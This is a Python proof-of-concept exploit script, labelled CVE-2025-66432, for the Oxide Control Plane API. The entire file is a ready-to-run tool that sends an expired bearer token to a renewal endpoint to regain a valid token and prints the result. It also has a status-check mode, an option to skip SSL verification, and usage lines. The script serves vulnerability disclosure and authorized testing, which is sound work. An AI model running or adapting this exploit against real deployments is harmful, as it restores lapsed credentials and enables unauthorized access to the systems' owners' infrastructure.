#!/usr/bin/env python3
"""
CVE-2025-66432 - Oxide Control Plane API Token Renewal Bypass
This PoC demonstrates the vulnerability where expired API tokens can be renewed.
Note: This is for educational and authorized testing purposes only.
"""
import requests
import json
import argparse
from datetime import datetime, timedelta
def renew_expired_token(api_url, token, verify_ssl=True):
"""
Attempt to renew an expired API token.
Args:
api_url: Base URL of the Oxide Control Plane API
token: The expired or expiring API token
verify_ssl: Whether to verify SSL certificates
Returns:
Response from the API
"""
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
# Token renewal endpoint
renew_endpoint = f"{api_url}/api/v1/tokens/renew"
payload = {
'token': token,
'extend_expiration': True
}
try:
print(f"[*] Attempting to renew token: {token[:20]}...")
response = requests.post(
renew_endpoint,
headers=headers,
json=payload,
verify=verify_ssl,
timeout=30
)
print(f"[*] Response Status: {response.status_code}")
if response.status_code == 200:
data = response.json()
new_token = data.get('token', '')
new_expiry = data.get('expires_at', 'Unknown')
print(f"[+] SUCCESS: Token renewed successfully!")
print(f"[+] New Token: {new_token[:40]}...")
print(f"[+] New Expiry: {new_expiry}")
return {
'success': True,
'new_token': new_token,
'expires_at': new_expiry
}
else:
print(f"[-] Failed to renew token")
print(f"[-] Response: {response.text}")
return {'success': False, 'error': response.text}
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {str(e)}")
return {'success': False, 'error': str(e)}
def check_token_status(api_url, token, verify_ssl=True):
"""
Check the current status of an API token.
Args:
api_url: Base URL of the Oxide Control Plane API
token: The API token to check
verify_ssl: Whether to verify SSL certificates
Returns:
Token status information
"""
headers = {
'Authorization': f'Bearer {token}'
}
status_endpoint = f"{api_url}/api/v1/tokens/status"
try:
print(f"[*] Checking token status...")
response = requests.get(
status_endpoint,
headers=headers,
verify=verify_ssl,
timeout=30
)
if response.status_code == 200:
return response.json()
else:
return {'valid': False, 'error': response.text}
except requests.exceptions.RequestException as e:
return {'valid': False, 'error': str(e)}
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-66432 PoC - Oxide Control Plane Token Renewal Bypass'
)
parser.add_argument('-u', '--url', required=True,
help='Oxide Control Plane API URL')
parser.add_argument('-t', '--token', required=True,
help='API token to renew')
parser.add_argument('--check-only', action='store_true',
help='Only check token status without renewing')
parser.add_argument('--no-verify', action='store_true',
help='Skip SSL certificate verification')
args = parser.parse_args()
verify_ssl = not args.no_verify
print("=" * 60)
print("CVE-2025-66432 PoC - Oxide Control Plane")
print("API Token Renewal Past Expiration Date")
print("=" * 60)
if args.check_only:
status = check_token_status(args.url, args.token, verify_ssl)
print(f"[*] Token Status: {json.dumps(status, indent=2)}")
else:
result = renew_expired_token(args.url, args.token, verify_ssl)
print(f"\n[*] Result: {json.dumps(result, indent=2)}")
if __name__ == '__main__':
main()
# Usage:
# python cve-2025-66432.py -u https://oxide-server/api -t <expired-token> --check-only
# python cve-2025-66432.py -u https://oxide-server/api -t <expired-token>